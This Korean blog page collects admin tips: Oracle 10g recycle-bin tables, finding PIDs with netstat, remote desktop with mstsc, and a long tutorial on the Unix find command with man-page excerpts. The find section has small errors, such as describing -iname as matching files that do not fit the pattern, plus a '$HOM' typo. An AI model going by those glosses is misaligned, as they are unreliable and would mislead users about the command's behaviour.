테이블명에 BIN$7EAyeH+KQCifwXVJNPfTMw==$0 이런 당황스런 것들이...

확인해 보니..

 

Oracle10g 부터는 윈도우의 휴지통과 같은 기능이 있다.
테이블을 DROP 하면 BIN$4ifzvcUnSPet0Fj+KMynPQ==$0 과 같이 이상한 테이블명으로 테이블이 생성되는데 이것이 바로 그것이다.

이 테이블은 언제든지 되살릴 수 있다. 그리고 쿼리도 모두 된다.

DESC "BIN$4ifzvcUnSPet0Fj+KMynPQ==$0";
SELECT * FROM "BIN$4ifzvcUnSPet0Fj+KMynPQ==$0";
와 같이 쿼터를 주고 쿼리 하면 된다.


이 BIN 테이블을 완전히 삭제하기 위해서는 다음과 같은 명령으로 처리 할 수 있다.

purge recyclebin;


또한 다시 살리고 싶다면

flashback table 지운테이블 to before drop;

와 같은 명령으로 살릴 수 있다.


또한 BIN 테이블을 만들지 않고 무조건 DROP 하고 싶다면

drop table 테이블명 purge;

와 같은 명령으로 완전히 삭제 할 수 있다.


시작 -> 실행 -> cmd
netstat -ano
명령을 실행하면 사용중인 아이피와 포트를 확인할수있다
종료시킬 pid 를 기억해두고

작업관리자에서 프로세서 탭을 선택한후에
보기메뉴의 열선택을 클릭!

PID 를 체크해주고 확인을하면 사용중인 프로세서의 PID를 확인할수있다
찾아서 종료시켜주자.....


시작->실행에서
mstsc /v [IP] /admin 한방에 접속된다.

젠장 다시 회사 갈뻔했다...ㅋ

목차
1. 가장 일반적인 find 명령어

2. find 명령어 일반적인 옵션
  2-1. 사용법 개요
  2-2. 일반적으로 표현식 옵션 구분
  3-3. 자주 사용되는 표현식 옵션
  3-4. path(find 명령어 다음의 path)
  3-5. 표현식-연산자

3. 예제
  3-1. 다른 명령어와 결합형태(ls,xargs)
  3-2. 퍼미션 관련 예제
  3-3. 유저와 관련된 예제
  3-4. 팁
  - 최근 하루(1) 동안(-)에 변경(change)된 파일을 찾을려면(-ctime)?
  - 오래된 파일을 찾을려면(30일 이상 수정(modify))되지 않은)?
  - 최근 30일(30) 안에(-) 접근(access)하지 않은 파일과 디렉토리를 리스트로 만들려면(-atime)?
  - 자신의 홈디렉토리에서 만 검색하려면?
  - 서브 디렉토리로 내려가지 않고 현재 디렉토리에서만 검색하려면?
  - 특정 유저(foobar) 소유의 파일을 찾을려면?
  - 퍼미션이 777인 파일을 찾을려면 ?
  - others에게 쓰기 권한이 있는 파일을 찾을려면?
  - others에게 쓰기 권한이 있는 파일을 찾아 쓰기 권한을 없애려면?
  - 유저이름과 그룹이름이 없는 파일을 찾을려면?
  - 빈 파일을 찾을려면?
  - 파일크기가 100M 이상된 파일을 찾을려면?
  - *.bak 파일을 찾아 지울려면?
  - *.bak 파일을 찾아 특정 디렉토리로 옮길려면?
  - 디렉토리 만 찾을려면?
  - root권한으로 실행되는 파일을 찾을려면?
  - 다른 파일시스템을 검색하지 않을려면?
  - 파일이름에 공백이 들어간 파일을 찾을려면?
  - 숨겨진(hidden) 파일을 찾을려면?
  - 같은 이름을 가진 디렉토리를 찾을려면?
  - 잘못된 링크를 찾을려면?

4. find 명령어에 대해서 좀더 알아보려면?

------------------------------------------------------------

1. 가장 일반적인 find 명령어

# find /path -name "foobar" -print

제일 먼저(?) 배우는 형식이 아닌가 쉽군요.


2. find 명령어 일반적인 옵션

2-1. 사용법 개요

find 명령어 사용법 보기 :

# find --help
# man find (직접 입력해 보세요. 내용이 너무 많아서..)

사용법 : find [path...] [expression]
기본값 : default path는 현재 디렉토리;  default expression은 -print

표현식(expression) 구성 :
operators (decreasing precedence; -and is implicit where no others are given):
      ( EXPR ) ! EXPR -not EXPR EXPR1 -a EXPR2 EXPR1 -and EXPR2
      EXPR1 -o EXPR2 EXPR1 -or EXPR2 EXPR1 , EXPR2
options (always true): -daystart -depth -follow --help
      -maxdepth LEVELS -mindepth LEVELS -mount -noleaf --version -xdev
tests (N can be +N or -N or N):
      -amin N -anewer FILE -atime N -cmin N
      -cnewer FILE -ctime N -empty -false -fstype TYPE -gid N -group NAME
      -ilname PATTERN -iname PATTERN -inum N -ipath PATTERN -iregex PATTERN
      -links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE
      -nouser -nogroup -path PATTERN -perm [+-]MODE -regex PATTERN
      -size N[bckw] -true -type [bcdpfls] -uid N -used N -user NAME
      -xtype [bcdpfls]
actions:
      -exec COMMAND ; -fprint FILE -fprint0 FILE -fprintf FILE FORMAT
      -ok COMMAND ; -print -print0 -printf FORMAT -prune -ls

간단하게 몇가지만 알아보죠...
(자세한 사용설명은 꼭 man 페이지를 읽어보세요....한글은 없군요..T.T)


2-2. 일반적으로 표현식 옵션 구분

  -a'xxxx'
'xxxx'에 대한 Access(접근)
  -c'xxxx'
'xxxx'에 대한 Changes(변경), 마지막으로 Access한 경우 변경됨
  -m'xxxx'
'xxxx'에 대한 Modify(수정), 파일내용 자체 수정한 경우
  -i'xxxx'
'xxxx'(inum 제외)에 대한 Insensitive(대소문자 구분없이)

3-3. 자주 사용되는 표현식 옵션

  N
정확하게 N과 일치
  +N
N 보다 큰 경우
  -N
N 보다 작은 경우
  -name PATTERN
PATTERN에 일치하는 파일 찾기, 와일드카드 문자 사용가능
  -iname PATTERN
PATTERN에 일치하지 않은(insensitive) 파일 찾기
  -perm [+-]mode
PERMission('mode')에 해당되는 파일 찾기, ls와 결합 가능
  -type [bcdpfls]
b(블럭파일), c(특정 문자), d(디렉토리), p(파이프),
f(정규표현 일반파일), l(링크), s(소켓) 유형의 파일 찾기
  -size N[bckw]
파일 크기가 N 인 파일 찾기
b(블럭-기본값), c(bytes), k(kbytes),
w(2바이트 단어)
  -user NAME
NAME은 유저이름이거나 UID
  -atime N
N*24 시간 동안에 Access 한 파일
  -ctime N
N*24 시간 동안에 Changes 한 파일(내용수정이 아니고 읽기모드도 Changes됨)
  -mtime N
N*24 시간 동안에 Modify 한 파일
  -empty
파일이 비어 있고(0 bytes), 정규식 파일이거나 디렉토리
  -newer FILE
FILE 보다 최근에 갱신된 파일
  -path PATTERN
path가 PATTERN과 일치하는 path에 대해서 검색
  -regex PATTERN
파일이름이 PATTERN에 일치하는 정규식에 대해서 검색
  -inum N
inode N을 갖는 파일
  -nouser,-nogroup
USER나 GROUP에 이름이 없는 파일 검색(UID,GID만 있는 파일)
  -exec COMMAND
검색된 파일을 찾으면 COMMAND 명령을 실행한다.
COMMAND 인자(검색된 파일)는 {}으로 사용하며,
이때 COMMAND 끝은 \;(;이 아님)을 사용해야 한다. 즉 명령구분
문자인 ';'을 탈출(\)시켜줘야 한다.
  -ok COMMAND
-exec COMMAND와 같지만 COMMAND를 실행하기 전에 확인을 요청한다.

3-4. path(find 명령어 다음의 path)
  .
현재 디렉토리(기본값이므로 생략해도 됨)
  `pwd`
현재 디렉토리와 결합(?) `은 ~문자가 있는 자판
  $(pwd)
위의 `pwd`와 같거나 비슷함
  /
최상위 루트 디렉토리에서 하위 모든 디렉토리
  /home
특정 /home 디렉토리에서 하위 모든 디렉토리
  /{usr,home/{aaa,san2},var}
/usr, /usr/home/aaa /usr/home/san2 /var

3-5. 표현식-연산자

  \( 표현식 \)
'표현식'을 우선적으로 먼저 수행
(와 )앞에 \를 넣어야 하며, '표현식'과 공백을 각각 둔다.
\( A + B \) * \( C + D \) 와 같이 \(, \)안을 우선적으로 수행
  ! 표현식 , -not 표현식
'표현식'을 부정
  표현식1 -a 표현식2, 표현식1 -and 표현식2
표현식1과 표현식2의 AND 연산
  표현식1 -o 표현식2, 표현식1 -or 표현식2
표현식1과 표현식2의 OR 연산


3. 예제

3-1. 다른 명령어와 결합 형태(ls,xargs)

찾는 것 그 차체 만으로 만족(?) 할 수 도 있지만 그 결과에 대해서
어떤 행동(Actions)을 취할 필요가 있습니다.

  형태1. -exec 이용시

# find ..... -exec COMMAND {} \;

  형태2. xargs 명령어로 표준 입력받아 COMMAND 수행

# find ..... | xargs COMMAND

  형태3. ls 명령어로 최종 결과 출력

# ls -l `find .....[COMMAND]`
또는
# find .... ls
(ls는 ls -dils와 같음)

  xargs
xargs rpm 정보보기
# rpm -qi `rpm -qf $(which xargs)`
또는
# rpm -qf `which xargs` | xargs rpm -qi

즉, find 결과에 대해서,

형태1은 -exec를 사용하여 그 인자를 {}로 사용하고,

형태2는 xargs 명령어로 find에서 넘어온 결과(표준출력)에 대해서 COMMAND를 실행하고,

형태3은 오른쪽의 find 결과물에 대해서 ls 명령어를 실행합니다.
간혹 '/bin/ls Argument list too long'이라는 에러를 낸 경우도 있습니다.
이는 검색조건에 너무 많은 와일드카드 문자로 찾을 경우에 그렇습니다.
이를 테면 /*/*/*.*/.*,

`은 ~문자가 있는 자판(역인용부호).

ls -l 명령어를 사용할 경우, 찾는 결과가 없다면 모두 출력됩니다.
(ls -l와 같기 때문에)
ls 명령어와 마찬가지로 다른 명령어(chmod, chmod)를 결합하여 사용할 경우 그 찾는
결과가 없다면 명령어에 대한 에러를 내겠죠.
(chmod 'null')과 같은 예..........

# find /{home,usr/{src,local/src}} -nouser -o -nogroup -exec ls -l {} \; -print | more
# find /{home,usr/{src,local/src}} -nouser -o -nogroup -print | xargs ls -l | more

위의 2개의 명령어 대해서 직접 테스트 해보세요...

전자의 경우, 아마 아무것도 출력되지 않을 겁니다.

# find /{home,usr/{src,local/src}} \( -nouser -o -nogroup \) -exec ls -l {} \; -print | more

위와 같이 해야 맞겠죠...(우선순위)

후자의 경우도 마찬가지로 다음과 같이 우선순위를 정해놓아야 겠지요..
아마 원하는 출력이 이 경우일 것 같군요.

# find /{home,usr/{src,local/src}} \( -nouser -o -nogroup \) -print | xargs ls -l | more


3-2. 퍼미션 관련 예제

othesrs에 쓰기(w:2) 권한이 있는 모든(-기호를 붙임) 파일 리스트를 찾을려면?

# find `pwd` -perm -2 -print | xargs ls -l

여기에서 2는
퍼미션이 -------w- 와 일치하는 파일이며 -의 의미는 rwx-중 하나.

왜 2인가요?
만약 퍼미션이 755 이라면,

   700 : rwx------ : user
    50 : ---r-x--- : group
     5 : ------r-x : others
   ------------------------
   755 : rwxr-xr-x : others는 읽기와 실행 권한

따라서 others의 권한은 8진수로 5(r+x)이다.

그렇다면, others가 쓰기(w:2) 권한은 당연히 -------w-

그룹이나 others에게 쓰기 권한이 있는 파일일 경우

-perm -20 -o -perm -2

그룹과 others에게 모두 쓰기 권한이 있는 파일일 경우

-perm -22

[others에게 w 권한이 있는 파일에 w 권한 없애기]

방법1)
  1. others에게 w 권한이 있는 파일 리스트 출력

# find `pwd` -perm -2 -print | xargs ls -l | more
(만약 매치되는 리스트가 없다면 전부 출력함)

  2. others에게 w 권한을 없애기

# find `pwd` -perm -2 -print | xargs chmod o-w
(만약 매치되는 리스트가 없다면 chmod에 에러를 냄)

방법2) 방법1)의 과정을 한꺼번에 할 경우

  # find `pwd` -perm -2 -exec chmod o-w {} \; -print | xargs ls -l
  또는
  # ls -l `find $(pwd) -perm -2 -print | xargs chmod o-rwx` | more

  이 경우는 퍼미션이 조정된 결과를 출력함.


3-3. 유저와 관련된 예제

UID와 GID에 대한 유저가 없는 파일을 root.root로 바꾸어 보죠.

1) 먼저 리스트를 출력해 보자.(확인해야하니깐)

  # find . \( -nouser -o -nogroup \) -print | xargs ls -l | more

2) 확인했으면, chown root.root 명령을 내리자.

  # find . \( -nouser -o -nogroup \) -print | xargs chown root.root | more
  또는
  # find . \( -nouser -o -nogroup \) -exec chown root.root {} \; -print | xargs ls -l
  (chown root.root 의 결과를 ls -l)


3-4. 유용한 팁

*주의) ***********************************************
  -a'xxxx'
'xxxx'에 대한 Access(접근), 읽기
  -c'xxxx'
'xxxx'에 대한 Changes(변경), 마지막으로 Access한 경우에도 변경됨
  -m'xxxx'
'xxxx'에 대한 Modify(수정), 파일내용 자체 수정한 경우
*****************************************************

  - 최근 하루(1) 동안(-)에 변경(change)된 파일을 찾을려면(-ctime)?

# find / -ctime -1 -a -type f | xargs ls -l | more

  - 오래된 파일을 찾을려면(30일 이상 수정(modify))되지 않은)?

# find / -mtime +30 -print | more

  - 최근 30일(30) 안에(-) 접근(access)하지 않은 파일과 디렉토리를 리스트로 만들려면(-atime)?

# find / ! \( -atime -30 -a \( -type d -o -type f \) \) | xargs ls -l > not_access.list

  - 자신의 홈디렉토리에서 만 검색하려면?

# find $HOM ...
또는
# find ~root ...

  - 서브 디렉토리로 내려가지 않고 현재 디렉토리에서만 검색하려면?

# find . -prune ...

  - 특정 유저(foobar) 소유의 파일을 찾을려면?

# find / -user foobar -print | more

  - 퍼미션이 777인 파일을 찾을려면 ?

# find / -perm 777 -print | xargs ls -l | more

  - others에게 쓰기 권한이 있는 파일을 찾을려면?

# find / -perm -2 -print | xargs ls -l | more

  - others에게 쓰기 권한이 있는 파일을 찾아 쓰기 권한을 없애려면?

# find / -perm -2 -print | xargs chmod o-w
또는
# find / -perm -2 -exec chmod o-w {} \; -print | xargs ls -l | more

  - 유저이름과 그룹이름이 없는 파일을 찾을려면?

# find / \( -nouser -o -nogroup \) -print | more

  - 빈 파일을 찾을려면?

# find / -empty -print | more
또는
# find / -size 0 -print | more

  - 파일크기가 100M 이상된 파일을 찾을려면?

# find / -size +102400k -print | xargs ls -hl

  - *.bak 파일을 찾아 지울려면?

# find / -name "*.bak" -exec rm -rf {} \;

  - *.bak 파일을 찾아 특정 디렉토리로 옮길려면?

# mv `find . -name "*.bak"` /home/bak/

  - 디렉토리 만 찾을려면?

# find . -type d ...

  - root권한으로 실행되는 파일을 찾을려면?

# find / \( -user root -a -perm +4000 \) -print | xargs ls -l | more

  - 다른 파일시스템을 검색하지 않을려면?

# find / -xdev ...

  - 파일이름에 공백이 들어간 파일을 찾을려면?

# find / -name "* *" -print

  - 숨겨진(hidden) 파일을 찾을려면?

# find / -name ".*" -print | more

  - 같은 이름을 가진 디렉토리를 찾을려면?

# find / -type d -print | awk -F/ '{printf("%s\t%s\n",$NF,$0);}' | sort| more
*주)'O'Reilly Unix Power Tools' 참고

  - 잘못된 링크를 찾을려면?

# find . -type l -print | perl -nle '-e || print' | xargs ls -l
*주)'O'Reilly Unix Power Tools' 참고


4. find 명령어에 대해서 좀더 알아보려면?

# man find

DESCRIPTION
       This  manual page documents the GNU version of find.  find
       searches the directory tree rooted at each given file name
       by  evaluating  the  given  expression from left to right,
       according to the rules of precedence (see  section  OPERA
       TORS),  until  the outcome is known (the left hand side is
       false for and operations, true for  or), at  which  point
       find moves on to the next file name.

       The first argument that begins with `-', `(', `)', `,', or
       `!' is taken to be the beginning of  the expression;  any
       arguments before it are paths to search, and any arguments
       after it are the rest of the expression. If no paths  are
       given, the current directory is used.  If no expression is
       given, the expression `-print' is used.

       find exits with status 0 if all files are  processed  suc
       cessfully, greater than 0 if errors occur.

EXPRESSIONS
       The expression is made up of options (which affect overall
       operation rather than the processing of a  specific  file,
       and  always  return  true),  tests (which return a true or
       false value), and actions (which have  side  effects  and
       return a true or false value), all separated by operators.
       -and is assumed where the operator  is  omitted.   If  the
       expression  contains  no actions other than -prune, -print
       is performed on all files  for  which  the  expression  is
       true.

1) path(생략-앞부분에서 설명)

2) 표현식-연산자(생략-앞부분에서 설명)

3) 표현식-옵션 :
   options (always true):
       -daystart -depth -follow --help
       -maxdepth LEVELS -mindepth LEVELS -mount -noleaf --version -xdev

       All  options always return true. They always take effect,
       rather than being processed only when their place  in  the
       expression is reached.  Therefore, for clarity, it is best
       to place them at the beginning of the expression.

       -daystart
      Measure times (for -amin, -atime,  -cmin,  -ctime,
      -mmin,  and  -mtime)  from  the  beginning of today
      rather than from 24 hours ago.

       -depth Process each directory's contents before the direc
      tory itself.

       -follow
      Dereference symbolic links.  Implies -noleaf.

       -help, --help
      Print  a summary of the command-line usage of find
      and exit.

       -maxdepth levels
      Descend at most  levels  (a  non-negative integer)
      levels  of directories below the command line argu
      ments.  `-maxdepth 0' means only apply  the  tests
      and actions to the command line arguments.

       -mindepth levels
      Do  not  apply  any tests or actions at levels less
      than levels (a non-negative  integer).   `-mindepth
      1'  means process all files except the command line
      arguments.

       -mount Don't descend directories on other filesystems.  An
      alternate name  for  -xdev, for compatibility with
      some other versions of find.

       -noleaf
      Do not optimize by assuming that directories  con
      tain  2  fewer  subdirectories than their hard link
      count.   This  option  is needed when searching
      filesystems  that do not follow the Unix directory-
      link convention, such as CD-ROM or MS-DOS filesys
      tems or AFS volume mount points. Each directory on
      a normal Unix filesystem has at least 2 hard links:
      its  name and  its  `.' entry. Additionally, its
      subdirectories (if any) each  have  a  `..'   entry
      linked to that directory. When find is examining a
      directory, after it has statted 2 fewer subdirecto
      ries than the directory's link count, it knows that
      the rest of the entries in the directory are  non-
      directories  (`leaf'  files in the directory tree).
      If only the files' names need to be examined, there
      is  no  need to stat them; this gives a significant
      increase in search speed.

       -version, --version
      Print the find version number and exit.

       -xdev  Don't descend directories on other filesystems.

4) 표현식-tests
   tests (N can be +N or -N or N):
       -amin N -anewer FILE -atime N -cmin N
       -cnewer FILE -ctime N -empty -false -fstype TYPE -gid N -group NAME
       -ilname PATTERN -iname PATTERN -inum N -ipath PATTERN -iregex PATTERN
       -links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE
       -nouser -nogroup -path PATTERN -perm [+-]MODE -regex PATTERN
       -size N[bckw] -true -type [bcdpfls] -uid N -used N -user NAME
       -xtype [bcdpfls]

       Numeric arguments can be specified as

       +n     for greater than n,

       -n     for less than n,

       n      for exactly n.

       -amin n
      File was last accessed n minutes ago.

       -anewer file
      File was last accessed more recently than file  was
      modified.   -anewer  is affected by -follow only if
      -follow comes before -anewer on the command line.

       -atime n
      File was last accessed n*24 hours ago.

       -cmin n
      File's status was last changed n minutes ago.

       -cnewer file
      File's status was last changed more  recently  than
      file  was modified.  -cnewer is affected by -follow
      only if -follow comes before -cnewer on the command
      line.

       -ctime n
      File's status was last changed n*24 hours ago.

       -empty File  is empty  and  is either a regular file or a
      directory.

       -false Always false.

       -fstype type
      File is on a filesystem of type  type.   The  valid
      filesystem  types vary among different versions of
      Unix; an incomplete list of filesystem  types  that
      are accepted on some version of Unix or another is:
      ufs, 4.2, 4.3, nfs, tmp, mfs, S51K, S52K. You  can
      use  -printf with the %F directive to see the types
      of your filesystems.

       -gid n File's numeric group ID is n.

       -group gname
      File belongs  to group  gname  (numeric group  ID
      allowed).

       -ilname pattern
      Like -lname, but the match is case insensitive.

       -iname pattern
      Like -name, but the match is case insensitive.  For
      example, the patterns `fo*'  and `F??'  match  the
      file names `Foo', `FOO', `foo', `fOo', etc.

       -inum n
      File has inode number n.


       -perm mode
      File's  permission  bits are exactly mode (octal or
      symbolic).  Symbolic modes use mode 0 as a point of
      departure.

       -perm -mode
      All  of  the  permission bits mode are set for the
      file.

       -perm +mode
      Any of the permission bits mode  are  set for  the
      file.

       -regex pattern
      File name matches regular expression pattern.  This
      is a match on the whole path, not a  search.   For
      example, to match a file named `./fubar3', you can
      use the regular expression  `.*bar.'  or `.*b.*3',
      but not `b.*r3'.

       -size n[bckw]
      File uses n units of space.  The units are 512-byte
      blocks by default or if `b' follows n, bytes if `c'
      follows  n,  kilobytes  if `k' follows n, or 2-byte
      words if `w' follows n.  The size does  not  count
      indirect blocks, but it does count blocks in sparse
      files that are not actually allocated.

       -true  Always true.

       -type c
      File is of type c:

      b      block (buffered) special
      c      character (unbuffered) special
      d      directory
      p      named pipe (FIFO)
      f      regular file
      l      symbolic link
      s      socket

       -uid n File's numeric user ID is n.

       -used n
      File was last accessed n days after its status  was
      last changed.
       -user uname
      File  is owned  by  user uname (numeric  user ID
      allowed).

       -xtype c
      The same as -type unless the  file  is  a symbolic
      link.   For symbolic links: if -follow has not been
      given, true if the file is a link to a file of type
      c; if -follow has been given, true if c is `l'.  In
      other words, for symbolic links, -xtype checks  the
      type of the file that -type does not check.

5) 표현식-Actions
   actions:
       -exec COMMAND ; -fprint FILE -fprint0 FILE -fprintf FILE FORMAT
       -ok COMMAND ; -print -print0 -printf FORMAT -prune -ls

       -exec command ;
      Execute command; true if 0 status is returned.  All
      following arguments to find are taken to be  argu
      ments  to the command until an argument consisting
      of `;' is encountered.  The string `{}' is replaced
      by the current file name being processed everywhere
      it occurs in the arguments to the command, not just
      in arguments where it is alone, as in some versions
      of find. Both of these constructions might need to
      be  escaped  (with a `\') or quoted to protect them
      from expansion by the shell.  The command is  exe
      cuted in the starting directory.

       -fls file
      True; like -ls but write to file like -fprint.

       -fprint file
      True;  print the full file name into file file.  If
      file does not exist when find is run,  it is  cre
      ated;  if it does exist, it is truncated. The file
      names ``/dev/stdout'' and ``/dev/stderr'' are  han
      dled  specially; they refer to the standard output
      and standard error output, respectively.

       -fprint0 file
      True; like -print0 but write to file like -fprint.

       -fprintf file format
      True;  like -printf but write to file like -fprint.

       -ok command ;
      Like -exec but ask the user first (on the standard
      input);  if the response does not start with `y' or
      `Y', do not run the command, and return false.

       -print True; print the full file name on the standard out
      put, followed by a newline.

       -print0
      True; print the full file name on the standard out
      put, followed by a  null character.   This  allows
      file  names  that contain newlines to be correctly
      interpreted by programs that process the find  out
      put.

       -printf format
      True;  print  format on the standard output, inter
      preting `\'  escapes  and `%'  directives.   Field
      widths  and precisions can be specified as with the
      `printf' C function.  Unlike -print,  -printf  does
      not  add a  newline at the end of the string.  The
      escapes and directives are:

      \a     Alarm bell.
      \b     Backspace.
      \c     Stop printing from this  format  immediately
     and flush the output.
      \f     Form feed.
      \n     Newline.
      \r     Carriage return.
      \t     Horizontal tab.
      \v     Vertical tab.
      \\     A literal backslash (`\').

      A `\' character followed by any other character is
      treated as an ordinary character, so they both  are
      printed.

      %%     A literal percent sign.

      %a     File's   last  access  time  in  the  format
     returned by the C `ctime' function.

      %Ak    File's last access time in the format speci
     fied  by  k, which is either `@' or a direc
     tive for the  C  `strftime'  function.   The
     possible values for k are listed below; some
     of them might not be available on all  sys
     tems,   due  to  differences  in  `strftime'
     between systems.

      @      seconds since Jan. 1,  1970,  00:00
     GMT.

     Time fields:

      H      hour (00..23)
      I      hour (01..12)
      k      hour ( 0..23)
      l      hour ( 1..12)
      M      minute (00..59)
      p      locale's AM or PM
      r      time, 12-hour (hh:mm:ss [AP]M)
      S      second (00..61)
      T      time, 24-hour (hh:mm:ss)
      X      locale's time representation (H:M:S)
      Z      time zone (e.g., EDT), or nothing if
     no time zone is determinable

     Date fields:

      a      locale's  abbreviated  weekday  name
     (Sun..Sat)
      A      locale's full weekday name, variable
     length (Sunday..Saturday)
      b      locale's abbreviated   month  name
     (Jan..Dec)
      B      locale's full month  name, variable
     length (January..December)
      c      locale's  date  and time (Sat Nov 04
     12:02:33 EST 1989)
      d      day of month (01..31)
      D      date (mm/dd/yy)
      h      same as b
      j      day of year (001..366)
      m      month (01..12)
      U      week number of year with  Sunday  as
     first day of week (00..53)
      w      day of week (0..6)
      W      week  number  of year with Monday as
     first day of week (00..53)
      x      locale's   date    representation
     (mm/dd/yy)
      y      last two digits of year (00..99)
      Y      year (1970...)

      %b     File's size in 512-byte blocks (rounded up).

      %c     File's last status change time in the format
     returned by the C `ctime' function.

      %Ck    File's last status change time in the format
     specified by k, which is the same as for %A.

      %d     File's  depth in the directory tree; 0 means
     the file is a command line argument.

      %f     File's name  with any  leading  directories
     removed (only the last element).

      %F     Type  of the filesystem the file is on; this
     value can be used for -fstype.

      %g     File's group name, or numeric  group  ID  if
     the group has no name.

      %G     File's numeric group ID.

      %h     Leading  directories of file's name (all but
     the last element).

      %H     Command line argument under which file  was
     found.

      %i     File's inode number (in decimal).

      %k     File's size in 1K blocks (rounded up).

      %l     Object  of symbolic  link (empty string if
     file is not a symbolic link).

      %m     File's permission bits (in octal).

      %n     Number of hard links to file.

      %p     File's name.

      %P     File's name with the  name of  the  command
     line  argument  under  which  it  was  found
     removed.

      %s     File's size in bytes.

      %t     File's last modification time in the  format
     returned by the C `ctime' function.

      %Tk    File's  last modification time in the format
     specified by k, which is the same as for %A.

      %u     File's  user name, or numeric user ID if the
     user has no name.

      %U     File's numeric user ID.

      A `%' character followed by any other character  is
      discarded (but the other character is printed).

       -prune If  -depth  is  not given, true; do not descend the
      current directory.
      If -depth is given, false; no effect.

       -ls    True; list current file in  `ls  -dils'  format  on
      standard output.   The  block  counts  are  of  1K
      blocks, unless    the   environment variable
      POSIXLY_CORRECT  is  set, in  which  case 512-byte
      blocks are used.

출처 인생뭐있나? | 아작
원문 http://blog.naver.com/galer/130008487651

+ Recent posts